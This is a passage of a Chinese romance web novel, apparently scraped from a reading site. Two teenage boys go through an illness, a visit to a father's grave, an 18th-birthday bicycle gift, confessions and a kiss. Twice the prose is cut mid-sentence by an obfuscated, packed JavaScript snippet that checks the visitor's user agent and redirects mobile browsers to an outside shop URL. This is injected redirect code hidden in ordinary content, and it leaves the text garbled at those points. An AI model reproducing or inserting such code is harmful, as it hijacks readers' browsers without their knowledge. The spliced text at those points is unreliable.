“桑桑?”阮牧年叫了他一声,“你醒了?” 桑群眨了眨眼,大概是点头的意思。 “怎么不叫我?”阮牧年帮他掀开被子,伸手要扶人起来,“正好,时间还不算太晚,我们吃点饭填下肚子,然后吃药……” 桑群却躲了一下,别过脸:“……不想起来。” 阮牧年微怔,笑了一下:“怎么还犯懒啊。坐起来也不行吗?” “腰酸。” “这是在闹脾气?好吧,桑群小朋友,怎样你才愿意起床吃饭呢?” 桑群沉默了一会儿。 “不说话的话,我就强制把你抱起来了哦。” “等……等下。” 不知道是戳中了什么关键词,桑群慌了一下,抓着他的手咬牙坐起身。 “嗯?好利索,”阮牧年扶住他,摸了摸他的后背,“又流汗了,先给你换身衣服吧。” 桑群这才注意到自己身上的衣服似乎并不是他在医院穿的那件,他愣了一下:“我那件黑色的……” “我帮你换过一次了,”阮牧年拿着桑群的睡衣走过来,“这次换睡衣吧,待会儿可以直接躺下睡觉。” 桑群挡了他一下:“我……自己换。” 嗯?好不对劲,阮牧年打量着他,醒来就怪怪的,哪里出错了吗? 阮牧年问:“你做什么坏梦了吗?” 桑群动作一僵,极快地回答:“没有。” 阮牧年眯起眼看他:“你好心虚哦。” “你能不能出去,”桑群抱着衣服,“我要换衣服。” “有什么不能看的吗?”阮牧年大吃一惊,“我还帮你搓过澡呢。” 桑群无言地看着他。 “哦,”阮牧年改口,“你帮我搓过。” 桑群又看了他几秒,刷地把被子拉高躲进去。 “哎哎,”怎么回事啊,阮牧年只好背过身往门外走,“不看不看,我出去了,你好好换,别把自己憋坏了。” 桑群在被窝里闷了一会儿,才敢探出脑袋观察外面。门被带上了,也没留什么摄像机在房间里面,好吧,这个阮牧年还算绅士。 摊开睡衣,桑群一边换,一边不由得想起刚刚做的梦。 真神奇,阮牧年陪在旁边做的梦总是不一样,难得的美梦、没见过的怪梦、醒来就忘的普通梦……还有刚刚那种,难以启齿的梦。 自从梦见过把他关在第二扇门里摸来摸去的阮牧年后,他又梦到了一个自称来自第三扇门的阮牧年。 什么门不门的,根本听不懂,但是这个阮牧年简直胆大包天,上来就扯他裤子。 桑群特地检查了一下自己,还好还好,裤子还是医院里那条,看来阮牧年只帮他换了上衣。 怎么流了这么多汗,脱下来也难受,桑群抿着唇擦了擦,最后忍受不了地下床,踩着拖鞋出去。 “我想洗澡。”他对阮牧年说。 “非洗不可吗?”阮牧年问,“用毛巾擦一擦好不好?你烧还没退呢。” 桑群摇头:“我想换裤子。” “你这不是换了……”阮牧年看了眼他的睡裤,反应过来他指的是什么裤子,“啊……哦。” 说着,桑群就要往卫生间走,阮牧年连忙拦了他一下:“真的很难受吗?要不要我帮你……” 桑群忽然晃了一下,阮牧年下意识去捞他的腰,又被踩到拖鞋,两个人纠缠了半天才稳住身形。 “你干嘛!” “你干什么!” 异口同声地责怪对方,他们互相瞪着。 “我怎么了?”阮牧年率先反驳,“你好端端地绊了一下,我是要拉你啊。” “你要帮我什么?”桑群反问。 “帮你洗澡啊。”阮牧年不觉得自己的好心有什么错。 桑群:“……” 啧,反应过激了。 阮牧年低头看了看他泛红的脖颈和耳垂,忽然恍然大悟:“桑桑,你该不会是做了那种梦吧?” 桑群沉默以对。 “哇,”阮牧年眨了眨眼,“我还没做过呢。很可怕吗,怎么把你吓成这副样子。” “我没被吓。”桑群否定。 “你手指还在发抖呢,就知道嘴硬。” “你很吵,”桑群别过脸去,“从我身上下去。” “我帮你吧。”阮牧年说。 “不要。”桑群一把推开他。 “万一你晕倒在浴室里怎么办?”阮牧年担忧地追上来,“到时候里面全是雾气,会把人热晕的。” 桑群抿了抿唇,退了一步:“那你在外间等着。” 阮牧年笑起来:“好啊。” 没过多久,桑群就后悔了。 他警惕地拿起花洒,几乎要靠到瓷砖墙上,戒备地对着帘子外那个晃来晃去的黑影说:“你要干什么?” “不干什么啊,”阮牧年的声音隔着帘子传过来,“我只是想起你们家的沐浴露好像快见底了,我给你送瓶新的进去吧。” 桑群瞥了眼沐浴露:“还有剩,能用。” 阮牧年安静了一会儿,又说:“你擦得到后背吗,要不要我进去帮你?” 桑群压着火气:“擦得到,不用。” 又过了几分钟,阮牧年贴着帘子伸了个懒腰:“好热呀,我感觉我也想洗个……” 桑群忍无可忍,刷地拉开帘子:“你有完没完?” 阮牧年吓了一跳,没防备就瞥见了□□的桑群,慌得视线乱瞟:“你、你突然出来干嘛……” 桑群冷笑一声。他想通了,与其扭扭捏捏被对方逗弄,不如大大方方主动出击。他偏了偏头:“不是想洗澡?” “呃,我好像也没那么热……”阮牧年说着就要逃跑,谁料桑群一花洒冲过来,直接给他淋了个湿透。 “嗷!” 桑群拉着帘子看他:“进来。” 阮牧年挠了挠头:“这可不是我强迫你,是你自己主动邀请的哦……” 桑群一把将他扯进来。 “等等等等,我脱个衣 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“我就是在搓啊,用力你又说疼,不用力又说我乱摸,好难伺候。” “对。” “对什么?” “很难伺候,所以你细心点。” …… 终于推着桑群公主出浴了,阮牧年觉得自己这个澡洗了跟没洗一样,归来仍是满头大汗。 桑群非常清爽地坐到餐厅桌子边,问:“吃什么?” “稀饭。”阮牧年说。 桑群眉毛瞬间耷拉下来:“没肉吗。” 阮牧年戳了戳他的额头:“你得吃点清淡的呀。” 桑群:“我饿了。” 阮牧年诡异地沉默了。 桑群抬起脸,脸上没什么表情,说话声音也低低的,带着病态的微哑:“年年哥哥。” 阮牧年一巴掌盖到自己脸上,冒烟宕机了。 做,这就做,什么五花肉红烧肉炒肉烤肉,就冲桑群这千年一遇的撒娇举动,把锅底炒穿也得给他端一盘上来。 冲动是魔鬼,小恶魔一腔热血地进了厨房,最后还是冷静下来,挑了款最普通的猪肉,少油少盐地炒了一盘出来。 阮牧年在他旁边坐下:“要喂吗?” 桑群:“……我还没肌无力到那种程度。” “好吧,”阮牧年点头,“你只是拿不动花洒和衣服。” 桑群用筷子屁股戳了他一下。 “赶紧吃吧,算起来你连午饭都没吃,”阮牧年把菜往他面前推了推,“还有你那个老是响个不停的手机,我静音了,有什么事等好起来再说。” 桑群嚼动的腮帮子停下,咽下去后问:“全部拒接了?” “没,找阮经理的我叫他打给你妈妈了,”阮牧年想了想,“有个叫什么……林律师?他是找你的,我跟他说你生病了,有事之后再说。” “嗯。”桑群点头,没有对他的做法表示不满,继续吃饭。 见他没意见,阮牧年又说:“你就是被这些杂七杂八的事情弄垮的,寒假作业都没空写。听我的,这几天什么也不要管,在家里当几天山大王。” 桑群闷嗤一声:“山大王?” “对,猴子当家,”阮牧年握紧拳头,“无聊的时候,我给你讲一讲下学期的知识点……” 桑群连忙埋头吃饭:“那我还是继续忙比较好。” 阮牧年戳他脑袋:“太没上进心了,面包渣。” “没渣你就行,”桑群专心扒饭,快吃完的时候抬头叫了他一声,“年年。” “嗯?”阮牧年一直在旁边看着他。 桑群垂眼看着碗,高烧余热未退,病中的酸累乏力始终笼罩在身上,他本来想听阮牧年说的,不去多想,放松一点,却还是忍不住做打算。 “周五早上,陪我出门一趟吧,”桑群看着他说,“我……想去见见他。” 72. 72 周五就是后天,桑群病还没好,周四阮牧年带他去打了针,好歹退烧了,就是嗓子和脑袋还有些不舒服。 “真的要去吗?”一大早起来,阮牧年就在问他,“今天温度又下降了,外面很冷。” “去,”桑群肯定地说,“帮我把那件帽子带绒毛的羽绒服拿出来。” 阮牧年翻起他的衣柜:“在哪儿啊,哦,找到了,咦?” 他拿出一条围巾:“这个好眼熟啊……跟你送我那条是不是同款?” “咳,”桑群别过眼,“是失败品,已经编到一半了,扔了可惜,就编完给自己用了。” “太好了,我们戴这个出门吧,”阮牧年把羽绒服和围巾一块拿过来,“没想到你做手工还会有失败的时候啊。” “我又不是全能高手。” “我觉得你是啦。” 阮牧年这两天已经完全适应了贴身保姆这个职位,熟练地给桑群套衣服,拉拉链,围上暖和的围巾。 其实桑群的手已经不酸了,但……阮牧年难得想要照顾他,他没理由拒绝。 都戴上所谓的同款围巾,阮牧年还打算收拾一个背包带走,被桑群制止了,最后只提了两个水壶出门。 路上,阮牧年问:“不用买花吗?” 桑群:“不用。” 阮牧年纠结:“就空手过去,不合适吧?或者带点什么吃的喝的……嗷,要不要买瓶白酒,我看他们都是带酒和空杯子过去敬一下……” 桑群:“……他不喝酒。” “那还是……” “安心,”桑群抓住他的手,“我又不是一个人去的。” “……嗷。” 桑群虽然不是一个人来的,却是第一次来,在工作亭里问了半天路,才敢往里面走。 冬季的清晨,路过的风透骨的冷,无云的天穹清浅辽远,墓园所在的山坡上,一排排石碑整齐地竖立在那里。 他们来得早,园里基本没什么人,抬步踏上一层层台阶,越深入氛围越肃穆。 连习惯缓和气氛的阮牧年也没开口打破这份安静,在这里,沉默就是最好的敬畏。 桑群数着碑位,一阶一阶,一座一座,终于来到了目的地。 他垂下眼,石碑上黑白的照片有些陌生,桑远隔着照片看着他,笑得温柔。 阮牧年跟在他身后站定。 桑叔叔还是记忆里亲和的样子,不知道桑群只是想来缅怀一会儿,还是想跟他说说话,他只能先沉默地等着。 许久,桑群开了口,嗓音在风里飘得很远:“好久不见。” 阮牧年连忙在后面补充:“叔叔,桑群和我来看你啦。” “嗯,”桑群说,“十年不见,我跟你只差不到十岁了。” 阮牧年解释:“他的意思是,我们已经长大了不少,请您放心。” 桑群:“我妈一点也不想你。” 阮牧年:“……阿姨也过得很好。” 桑群:“你这照片怎么跟大学生似的,好嫩。” 阮牧年:“……您这张照片挑得好,显年轻。” 桑群:“没有你,我们过得更好了,那些债今年就能还完。” 阮牧年:“……大家都过得很好,但还是很想念您。” 桑群:“你其实不用帮我翻译,他当年可是唯一能跟我妈辩得不相上下的人。” 阮牧年:“毕竟要礼貌一点啊。桑群夸您牙尖嘴利……啊不是,伶牙俐齿呢。” 桑群按了按蓬松的围巾,勾着阮牧年的肩膀过来:“看见了吗,这是长大以后的年年。你当初还夸他懂事乖巧是个好孩子,如你所愿,我把他拐回家当男朋友了。” “诶?”阮牧年脸登时红了,“这种事怎么可以……” “别羡慕,”桑群勾着他没放手,“这是你抛下我们应得的。” “桑群……” “这么多年没来看过你,不好意思,”桑群话锋一转,“但想想你留了那么多疑团给我们,自己却无事一身轻,又没那么抱歉了。” 阮牧年已经无力回天:“桑群他绝对不是在怨您……” “我就是在怨你,”桑群说,“我妈已经在想方设法怎么破解你留下的东西了,麻烦得很,不折腾个几年得不出结果。桑远,谜语人是世界上最讨厌最讨厌的人,不能开口说话的人也是,我……” 说到这里他顿了顿,坡上寒冷的山风穿林过碑,垂下的围巾随风扬起。 “我还是讨厌你,”桑群轻声说,“但我……们,也很想你。” 照片上的人依旧笑得温柔,十年来积攒的诸多爱恨便落在了这寥寥数语的字句间。 虽然开场白不是很和谐,最后好歹说了一句好话,阮牧年勉强放下心来。 从墓园出来,桑群捂在围巾里咳嗽。 “是不是着凉了?”阮牧年担忧地去摸他额头,“高烧退后一般还会再感冒几天,要不要喝水?” 桑群点头,接过水喝了几口,问:“中午去外面吃饭吧,好不好?” “好,但不能吃太上火的,”阮牧年拎好水壶,另一只手牵着他,“素菜馆怎么样?” 桑群臭着脸看他。 “怎么脸拉这么长,”阮牧年捏了捏他的手,“那……家常菜吧。” 桑群轻哼:“这还差不多。” 打车到商业街,热闹的氛围让人体验了一把年前的喧闹,阮牧年翻着大众点评:“有什么特别想吃的菜吗?” 桑群看着街角发呆。 “桑桑?”阮牧年捣了捣他,“你有听我说话吗?” “嗯?”桑群回过神,“去那家吧,我以前好像吃过。” 是不远处的一个饭馆,看着还算干净,阮牧年点头:“行。” 等菜的间隙,桑群问他:“你今天就只打算带我出门吃顿饭吗?” “怎么,”阮牧年笑了笑,“你还在生病啊,能有什么行程?” 桑群摘了围巾,撑着脑袋嘀咕:“……没滋没味的。” “晚点看会不会暖和一些吧,”阮牧年轻轻跟他撞了一下肩膀,“你昨晚是不是没睡好?早上还起这么早,待会儿回去午睡一会儿。” “管得好宽,年年大妈。” “怎么说话的呢?叫哥哥。” “略。” 阮牧年愣了一下:“你……” “干什么,”桑群瞥了他一眼,“人不应该越活越年轻吗?” 话虽如此,可吐舌头耍赖什么的,桑群四岁的时候就不会这么做了,阮牧年看着他问:“你不应该十八了吗,怎么还干幼儿园小朋友才会干的事。” “谁十八了?”桑群手肘撑在桌上,歪着脑袋看他,“阮不年,今天我才是你哥。” “啊,”阮不年痛失真名,摸了摸鼻子,“好吧。阿君羊哥哥,有什么吩咐?” “去调碟酱过来。” “收到!” 吃过饭,推着桑群回家睡觉,阮牧年借口倒垃圾偷偷出门,又偷偷摸回来,若无其事地爬上床睡觉。 拉上窗帘的午后时光昏暗又惬意,暖烘烘的被窝里,手脚相缠拥挤地睡着,除了醒来可能会麻没有任何缺点。 枕头底下的闹钟震动起来的时候,两个人都不太想起来。 阮牧年揉了揉眼睛,掐掉闹钟后翻身抱住桑群,拍着他低声:“桑桑……该起床了……” “嗯……” 桑群不情不愿地应了一声,他一旦入眠就容易嗜睡,往阮牧年怀里蹭了蹭,又不动了。 比冬天早上更难爬起来的是午觉的被窝,阮牧年用了极大的毅力,才强迫自己清醒过来:“起床了起床了,桑——群——” 桑群皱眉一把给他推开,翻了个身。 真吵。 阮牧年拱上来黏他,手伸到他腰侧挠痒痒:“起来起来起来——” 桑群抓着枕头把自己埋下去:“你好吵……” 阮牧年爬到他身上,用头发钻他脖子:“桑桑桑桑桑桑——” 烦死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356350|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,桑群翻回来,仰面躺着瞪他:“别吵了!” 阮牧年嘻嘻笑着,低头在他鼻尖亲了一下:“起来啦,好棒。” 桑群瞪着他生闷气,本来有一肚子起床气,结果被对方亲了一下,又无处宣泄了。 “走吧走吧,”阮牧年跪坐在床边拉他,“你想就这么把今天睡过去吗?太浪费了。” 桑群揉着脑袋起床,浑身郁闷:“不是说没行程么……” 走到客厅,他愣了一下,还以为自己眼花了,揉了揉眼睛。 没花。 阳台边停着一辆陌生的自行车,车座精致造型流畅,铝制框架黑色涂层,角落有几条浅绿色花纹。 车子是平把,手铃边系着一条红绸带,阮牧年从他身后晃过来:“哇,哪儿来的车?” 他扶起绸带,上面写了字:“恭喜桑群先生喜提爱车……太有实力了桑桑,十八就有车有房,太棒啦。” 桑群看着他发愣:“你……” “不来摸一下吗,车主?”阮牧年站在车边,冲他笑得灿烂。 桑群走上前,脑子还有些昏,是做梦没醒吗,梦得这么大? 手放在座位上,材质很舒服,车杆也是全新的,并且没有异味,毫无疑问这是一辆全新的公路自行车。 他看向阮牧年,张了张口想发问。 阮牧年却有先见之明地抢答:“不知道多贵,没看几位数,价格商家自己扫码输入的。” 桑群咽回上一个问题,抛出一个新问题:“你哪儿来的钱?” 糟糕,这个问题忘记准备了,阮牧年卡壳。 桑群皱眉:“你去抢银行了?” “没有,”阮牧年义正言辞,“我去给犯罪集团打工了。在他们快要成功的时候把情报卖给了警察,最后因为正义行为被警察叔叔追着送高额奖金。” 桑群伸手捏他脸:“说实话。” 阮牧年嘟了嘟下唇:“……我物理竞赛一等奖,拿了5千块。” 跟前面那个离谱的答案比起来,事实竟真实得让人觉得普通平淡。 桑群看了看自行车,又看了看车边的人,没想好该怎么发表获车感言。 阮牧年朝他走了一步,低头跟他碰额头,轻声说:“阿君羊哥哥,生日快乐。” “谢谢,”桑群伸手抱住他,慢慢地说,“我……很喜欢。自行车非常方便,颜色也好看,可以节省不少等公交或者打车的时间和金钱,嗯,它还……” “你怎么做起意义题了,”阮牧年失笑,“可以跳过原因,直奔结论。” “结论就是这辆……自行车非常好,”桑群面无表情地看着他说,“车主很满意,欣喜若狂,心花怒放。” “啊?”阮牧年看了半天,没看出狂在哪里,放在哪里。 以前阮牧年哪儿敢送超过五十块钱的礼物,被桑群估出来都要按着脑袋带他去退货。桑群实在没有这方面的经验,据说收贵重礼物的人要给送礼人情绪价值,不然容易伤别人的心,他绞尽脑汁地思考自行车的优点。 没辙了,笑一笑吧,桑群冲他拉起嘴角,自认笑得十分标准。 阮牧年吓得闭了眼,双手捂上他的脸颊,把这个笑按没,心有余悸:“你干嘛,不喜欢也不用这样报复我吧。” 算了,他估计在提供情绪价值方面没天赋,桑群又恢复平常的神态,淡淡开口:“没有不喜欢。” 阮牧年又笑了:“那就好。” 嗯?这就被哄好了吗,幸福阈值也太低了,桑群问:“你喊我起来,就是观赏一下吗?” “那必然不是啊,”阮牧年拉着他拍了拍自行车座,“走,哥哥带你出去兜风!” “带我?”桑群反问,“不应该是我带你吗?” “你现在还不能吹风,”阮牧年拿出手机查了查,“下午温度是有些回升,但保险起见,你坐后座比较好。” 桑群怀疑地看他:“你会骑吗?” “看不起谁呢,”阮牧年大手一挥,“走了,出发!” 73. 73 下午的天气确实很好,是冬季难得的晴天,碧空如洗万里无云,很符合童谣里大手拉小手出门郊游的情景。 就是上车的过程不太顺利,桑群坐上去后,阮牧年老是车把打滑。 “你到底行不行?”桑群质疑。 “可以的,你再信我一次,”阮牧年第无数次单脚撑地停下,苦恼道,“我看他们测评这款车型通勤和短途兼顾啊,车把好低,跟共享单车好不一样,我就是需要适应一下。” 桑群揣着手站在单元楼梯口看他,感觉再试下去都要天黑了。 “就这样吧,”桑群按住自行车后座,“赶紧走,摔不摔看运气了。” 磕磕绊绊地总算上了路,桑群在后面问:“我们要去哪儿?” “兜风,”阮牧年答,“我前几天查到了一段无人公路,很适合放松心情。” 初听这句话,桑群还以为阮牧年是指多转几圈吹吹风,放空大脑的放松。 到了地方,他有点想跳车了。 “啊——!”阮牧年忽然开始大叫,“你听见了吗!在这里说话声音会变得很大!” 桑群差点滚下车:“你疯了吗?” “我说了,带你来放松一下,”阮牧年压了压身子,加快速度,“这里没人,大喊大叫也不会被注意到的,你试试,真的很解压。” 桑群不信,誓死不开口。 阮牧年突然开始蛇行,车头摆出八字,催促道:“你喊一下,快,前面就要掉头了。” 桑群抓紧了前面的车座,还是坚持:“不。” “桑群是小公主!”阮牧年喊道,“说话声音都不敢比我大!” 桑群瞬间提高声音:“你神经病吧!” “好大声的咒骂!”阮牧年笑着又喊,“变成小王子了!好厉害!” 桑群闭嘴反省了一下自己,怎么就被这家伙给带偏了? “喊呀,”阮牧年掉完头,又开始奋力蹬,“我要加速了,这种时候喊会被大风灌嘴,很畅快的。” 真的吗,桑群半信半疑地张嘴:“啊……” “太小声了,嗓门放开。” “啊——” “没有激情啊,”阮牧年摇头,“要喊的有内容,学我:为什么物理培优有额外作业!我讨厌竞赛题!” “啊——”桑群不知道要喊什么,“啊啊——” 阮牧年继续给他做示范:“最烦在门口问半天最后跑到隔壁吃饭的客人!这种人能不能不要出门啊!” 桑群还在头脑风暴:“啊——这个车后座好颠……” “尾音!气势呢!”阮牧年气贯长虹,“要发泄出来!喊出情绪来!喊出感叹号!明白吗!” 桑群终于真情实感了一回:“阮牧年你真的好吵!” “对!”阮牧年哈哈笑起来,“还有呢!” “起床的时候最吵!比闹钟还吵!” “你生病的时候好麻烦!换衣服特别累!” “你这个撒谎精!不敢告诉我车价格就是怕我骂你!” “对!我最讨厌你抠抠搜搜的样子!过生日就大方收下!” “天天念叨寒假作业!你真的很烦!” “知道了!能不能骂点别的!不要光骂我一个人啊!” “啊——”桑群想了想,“医院食堂2号窗口的肉炒得好恶心!为什么寒假只开放2号口!” “哈哈哈哈!”阮牧年嘲笑,“这就是你在医院不吃饭的理由吗!” “不然呢!” “再说点——舅妈家准备过年出去旅游!还对我藏着掖着!诅咒你们遇上人流高峰期走不掉回不来!” “我讨厌我妈的长头发!每次都会在鞋底捡到几根!” “主管对我站在门口很有意见!我招他惹他了!有客人就行他还管我男女老少呢!” “生病好难受!做噩梦好可怕!乱七八糟的事情为什么总是来烦我!” “就是!我们本来就是小孩!应该对这个世界指手画脚!” “我不想要变化!不想要真相!我只想要接下来大家都好好的!” “讨厌舅妈!更讨厌妈妈!为什么从一开始就不带我走!” “工厂的事情好麻烦!代理人好蠢!叫他算个奖金都算不明白!” “桑群你也很笨!你昨天那道分段函数也没算出来!” “阮牧年你凭什么骂我!我头晕就是做不出来!” “就知道找借口!嘴硬得能挖金刚石!” “就知道挤兑我!心眼坏得能长霉菌!” “讨厌你这个呆瓜!不合时宜就会给我乱安身份!” “讨厌你这个笨蛋!死到临头都不知道我喜欢你!” …… 来回骑了好几圈,两个人把能骂的全骂了个遍,包括彼此,停下来的时候连坐后座的桑群都气喘吁吁的。 好在阮牧年很有先见之明地带了水壶,桑群拧开喝了一口,感觉自己喉咙可能快哑了,递出水的时候都不敢多说:“嗯。” 大概是“给”的意思。 阮牧年靠着自行车,正看着公路边的景象发呆。 桑群疑惑:“嗯嗯嗯?” 看什么? 阮牧年缓缓转头,随着双手捂脸的动作,跑远的反射弧也逐渐回来:“你刚刚……说什么?” 说什么?说了太多,桑群不想废话:“喝水。” “你你你,”阮牧年没眼看他,脸埋在掌心里,“你怎么可以在大马路上喊那种话!” 喊什么?桑群想了半天没想起来是哪句,不耐烦地把水塞到他手里。 阮牧年无措地喝了几口,又想起这水刚被桑群喝过,整个人开始犯昏。 桑群纳闷,骑了一会儿车,把人骑坏了? 戳了戳额头,桑群哑声:“傻了?” “我我我,”阮牧年不敢看他,“我还没想好……” 到底说的什么……等等,不会是那句“我喜欢你”吧。 都什么时候了,还没想好,桑群皱眉看他:“你要当渣男吗?” 四下空荡,阮牧年无处可躲,低着头站在他旁边不敢吱声。 桑群清了清嗓子:“再给你一次机会好了,我喜欢你,你可以开始回答了。” “我……”阮牧年别过眼,“我……” 后面说什么呢,一个字也听不清,桑群没好气地拍了他一下:“刚刚不还喊得很大声吗?” “我说我也!”阮牧年闭着眼喊了一嗓子,然后又开始蚊子细语,“我也……嗯嗯你。” 桑群以为自己听错了:“你什么我?” “嗯嗯,”阮牧年红着脸说,“很……嗯嗯你。” 把他当傻子耍呢,又不是在晋江,触发什么关键词屏蔽,桑群一巴掌盖过去,按着他的脑袋威胁:“再不好好说你就没机会了。” “哎哟,”阮牧年抱着脑袋,“你不要逼我呀,反正……我已经被你拐回家了。” 意思就是未来可期,以后再说,桑群刚刚畅快了一通,眼下容不得半点沙子,看他这副样子极其不顺眼。 孩子口癖老不好,多半是倔的,教训一顿就好了。 桑群四周看了看,就一车一水壶,寒碜得很。 “桑桑你不要生气……”阮牧年讨好地拉了拉他的衣角,“再给我一点时间,我很快……诶?” 桑群抢过水,瞥了他一眼:“拿着水不喝,是要我喂你吗。” “不是……唔。” 桑群灌了一口水,径直上前堵住他。 嘴对嘴怎么喂水啊,根本做不到,阮牧年挣扎着,水就从缝隙流出来,顺着下巴流到脖子上。 随着温水流逝进来的,是桑群的唇舌,温柔又不容抗拒地包裹住他。 太久没有接吻了,阮牧年头脑混乱,一只手轻搭在桑群胸口,顾及着病人应该推开对方,又怕惹桑群不高兴挨骂。 桑群便理直气壮许多,白也告了,年也成了,没理由不亲,按着阮牧年侧脸往里面吻。 荒郊野岭,老树昏鸦,路过的风都凝滞了一下,羞涩地从他们指缝间溜走。 阮牧年抱着桑群的脖子不断后仰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356351|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要断气了,喉间发出一声含糊的呜咽,最后忍无可忍地踩了他一脚。 桑群终于撤离了一些,脸边的手抚摸到后脑,又顺着脸蛋吻了吻他的鼻尖、眼皮,再到额心。 “早就想亲你了,”桑群低着声音说,“憋坏我了。” “你还在感冒啊,”阮牧年小声指出,“传染给我怎么办?” “那就一起生病好了,”桑群满不在乎,“不是嫌照顾病人麻烦吗?那我照顾你,我不麻烦。” 阮牧年摇摇头,扑到他怀里:“这样抱一会儿,我就满足了。” 桑群捏了捏他滚烫的耳朵尖,嗤笑道:“小番茄。” 阮牧年收紧胳膊,在桑群被他抱得喘不过气嘶了一声的时候,也笑他:“敏感肌。” 桑群在他脑袋上拍了拍。 阮牧年往他脖子里蹭了蹭。 遥远的地平线上,夕阳终于触及了地面,落日熔金,暮色四合,萧条的山林逐渐暗沉,两人在地上的阴影也越拉越长。 “天要黑了,有点冷了。” “那就回去吧。” 回家吃过晚饭,阮牧年就钻进厨房一通折腾,也不许桑群进去。他无聊至极,拿了块布去给阳台上的自行车做清洁,收了几件晒干的衣服,把餐厅桌椅整齐地排好,最后坐在沙发看了一集电视剧,厨房门终于开了。 “当当!”阮牧年端着一盘棕白相间的东西出来了,“大功告成!” “这是什么?”桑群拿筷子戳了戳,软软的,还很Q弹。 “椰汁千层马蹄糕,”阮牧年把盘子放到茶几上,又伸手去抽屉里掏东西,“先别偷吃,要有仪式感哦。” 筷子被没收,桑群手撑在膝盖上看:“我还以为你在里面DIY生日蛋糕。” “奶油蛋糕冰鲜的才好吃,你现在还不能吃太多凉的,”阮牧年将蜡烛、打火机还有生日帽逐一排开,“这个糕是熬煮出来的,放凉就可以吃,更健康一点。” 桑群:“你要往这上面插蜡烛?” 阮牧年摇头:“这个太Q了,插不上。我给你变魔法。” 什么魔法?桑群看着阮牧年从抽屉里掏出一块带孔金属板,蜡烛一根根插上去,插满了18根。 金属板两段还带有向内凹陷的支架,放在桌面上十分稳当。 真是个小聪明,完美解决了蛋糕放不下这么多根蜡烛而滴落的蜡泪会污染蛋糕的双重难题。 桑群这辈子没见过这么多蜡烛,叹为观止。 “来咯,戴帽子戴帽子,”阮牧年把生日帽扣到桑群头上,以单手之力对抗来自寿星的阻挠,另一只手硬是扣好了,“我们今天最酷的寿星,必须戴,不准摘!” 桑群瘫着一张脸:“呵。” 累了,年年抵抗年年失败,每年都要戴着这个傻帽,摆出诡异的笑容,唱那个破生日歌。 读作仪式感,写作黑历史吧。 “笑呀,别苦着一张脸,”阮摄影师开始指挥,“居中居中,对,跟蛋糕呈一条直线,然后微微低头……别把帽子弄掉了!双手合十,对对,就这个姿势别动哦,我去关灯了!” 四周陷入黑暗,阮牧年按下打火机,动作极快地点燃那一排蜡烛,边点边叮嘱他:“愿望许得简洁一点,吹气要用力要快,这样效果才好看……” 提线桑偶僵硬在那里,等他指示。 万事俱备,阮牧年半跪在茶几面前,举着手机:“开始啦,注意听音乐。” 前奏响起,桑群闭上眼,这是最轻松的环节,因为无需任何表情,只要许愿许得虔诚就好。 音乐唱到第二句“祝你生日快乐”,他还没想好要许什么愿望。 唱完再睁眼估计会被年年谴责,他绞尽脑汁,最近发生的事情在脑海中一件件闪过。 回首望去,有种万事沧桑的虚无感,但他所站的地方并不是终点,而是少年困顿的拂晓之前,是崭新前途的启程之处。 是他踽踽多年终于抵达的新开始。 再去奢许也是徒然,那就祝自己—— 所爱不失,所哀不再。 74. 74(有删减) 许完愿望,阮牧年开始朝他使眼色。 桑群鼓起腮帮吹蜡烛,很用力了,但这18根蜡烛是横着排成一排,角落总有几根没灭。 音乐即将结束,阮大师的作品只有这一次机会,在阮牧年挥舞的拳头下,桑群忍辱负重地从头到尾又吹了一遍,最后一点火光熄灭,四周重归黑暗,下一秒客厅灯啪地亮起。 “生日快乐!”阮牧年不知从哪儿摸出一只吹吹卷,放嘴里吹了一下,一个人发出了万众齐聚的声响,“恭喜我们最酷最帅的寿星桑——群——十八岁啦!是个大人啦!” 在阮牧年拼命挥动的手势下,桑群扯出一个应该比较灿烂的笑容,犹豫了一下,右手竖起大拇指放在脑袋下。 终于结束录制,阮牧年摇头:“你怎么笑得跟要吃人一样。” 桑群瘫着脸:“……” 他努力了,至少没有傻到伸剪刀手。 虽然大拇指也没好到哪里去。 阮牧年戳着手机坐到他旁边,嘴里还叼着那只吹吹卷,时不时吹一下。 桑群偏头看他:“你哪来的这东西?” “网购啊,几块钱就可以买好几只,”阮牧年又吹了一下,“你想玩吗?抽屉里还有很多。” 桑群上手抢走他嘴里的这只:“好啊。” “喂,”手机上正剪辑到关键部分,阮牧年只能干看着自己的东西被抢走,“这个我咬过。” “知道,”桑群含着那只吹吹卷,看起来不像是含儿童玩具,更像是叼着一根烟,“我故意的。” 阮牧年强迫自己把注意力放回视频上:“随、随你。” 见他正在拉动进度条,桑群揪准时机,在阮牧年手指即将抬起的时候吹了一下。 阮牧年吓了一跳,手指颤动,刚调好的时间条又乱了。 “桑、群!”阮牧年扭过头瞪他,“你干嘛!” 桑群单手托腮,看着他吹了一下:“嘟——” “你不要吵我。”阮牧年皱眉警告他。 桑群:“嘟——嘟——” 阮牧年回头静下心来重新拉动,结果只差临头一脚,旁边又响了一声。 这次他没有被吓到,但是桑群居然凑过来对着他吹,绷直的吹卷尾端弹到他脸上,他呼吸一乱,手指又偏了。 “桑——群——!” 见他恼羞成怒就要张牙舞爪地扑上来,桑群连忙战术性后仰,手肘横起但没挡住人,被愤怒的河豚压倒在沙发上。 手机放在茶几上,阮牧年伸手过来:“你不准再吹了!” 